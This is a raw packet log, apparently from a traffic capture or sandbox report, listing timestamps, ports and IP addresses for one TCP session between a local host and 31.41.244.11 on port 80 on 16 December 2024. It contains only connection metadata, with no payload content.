Dec 16, 2024 09:01:31.920005083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.920056105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.920731068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.920783043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.920787096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.920841932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.921554089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.921607018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.921650887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.921700954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.922421932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.922625065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.922673941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.923228979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.923276901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.923407078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.924041033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.924097061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.924141884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.924187899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.924985886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.925041914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.925106049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.925156116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.925687075 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.925738096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.925790071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.925848007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.926489115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.926542044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.926558018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.926604986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.927350998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.927406073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.927548885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.927714109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.928211927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.928267956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.928354025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.928396940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.929032087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.929080963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.929110050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.929153919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.929801941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.929974079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.930069923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.930644035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.930697918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.930742025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.930788040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.931476116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.931538105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.931605101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.931763887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.932306051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.932360888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.932404041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.932449102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.933125973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.933180094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.933264017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.933310986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.933954954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.934006929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.934082985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.934130907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.934783936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.934840918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.934866905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.934917927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.935638905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.935688019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.935728073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.935806990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.936405897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.936537981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.936589956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.937225103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.937268972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.937400103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.937514067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.938071012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.938182116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.938232899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.938908100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.938954115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.939038038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.939094067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.939755917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.939884901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.939937115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.940618992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.940675974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.940699100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.940747976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.941406965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.941461086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.941498995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.941540956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.942213058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.942298889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.942318916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.942363024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.943025112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.943073034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.943135023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.943180084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.943931103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.944062948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.944113016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.944689035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.944736958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.944808960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.944856882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.945534945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.945585966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.945621967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.945666075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.946331024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.946378946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.095510006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.095590115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.095604897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.095626116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.095659971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.095659971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.095695019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.096040010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.096482992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.096544027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.096633911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.096689939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.097240925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.097290039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.097332954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.097382069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.098042011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.098094940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.098151922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.098197937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.098885059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.098936081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.099004030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.099052906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.099694014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.099745989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.099853992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.099901915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.100522995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.100570917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.100631952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.100684881 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.101361990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.101409912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.101576090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.101620913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.102205038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.102252960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.102334976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.102382898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.103043079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.103090048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.103120089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.103166103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.103807926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.103861094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.103907108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.103955030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.104685068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.104733944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.104996920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.105043888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.105556011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.105578899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.105602980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.105621099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.106501102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.106578112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.106744051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.106795073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.107225895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.107271910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.107336998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.107386112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.107939959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.107985973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.108052969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.108099937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.108767986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.108820915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.108858109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.108906031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.109745979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.109797955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.109838963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.109890938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.110482931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.110515118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.110539913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.110553026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.111484051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.111534119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.111573935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.111622095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.112236023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.112286091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.112293005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.112343073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.112914085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.112961054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.112998009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.113051891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.113790989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.113838911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.113874912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.113922119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.114706039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.114753008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.114825964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.114872932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.115444899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.115502119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.115571976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.115617990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.116272926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.116350889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.116389036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.116439104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.117062092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.117115021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.117186069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.117233992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.117855072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.117903948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.117973089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.118020058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.118701935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.118752003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.118830919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.118990898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.119529009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.119575024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.119580984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.119627953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.120395899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.120446920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.120511055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.120558977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.121201038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.121249914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.121385098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.121431112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.121999979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.122049093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.122090101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.122138977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.122879028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.122930050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.122934103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.122978926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.123636961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.123687029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.123725891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.123773098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.124516010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.124564886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.124605894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.124654055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.125386953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.125441074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.125530958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.125577927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.126174927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.126224041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.126290083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.126347065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.127007008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.127065897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.127121925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.127168894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.127794981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.127846003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.127885103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.127932072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.128676891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.128731012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.128794909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.128843069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.129455090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.129509926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.129579067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.129623890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.130300999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.130350113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.130403042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.130445957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.131112099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.131160021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.131223917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.131269932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.131947994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.131994963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.132046938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.132086039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.132829905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.132877111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.132961988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.133004904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.133646011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.133692980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.133768082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.133811951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.134419918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.135051012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.135117054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.135274887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.135332108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.135400057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.136111975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.136178970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.136207104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.136260033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.137032032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.137094975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.137195110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.137242079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.137721062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.137772083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.137820005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.137907982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.138545036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.138593912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.287789106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.288012028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.288140059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.288243055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.288295031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.288326979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.288373947 CET	49866	80	192.168.2.5	31.41.244.11
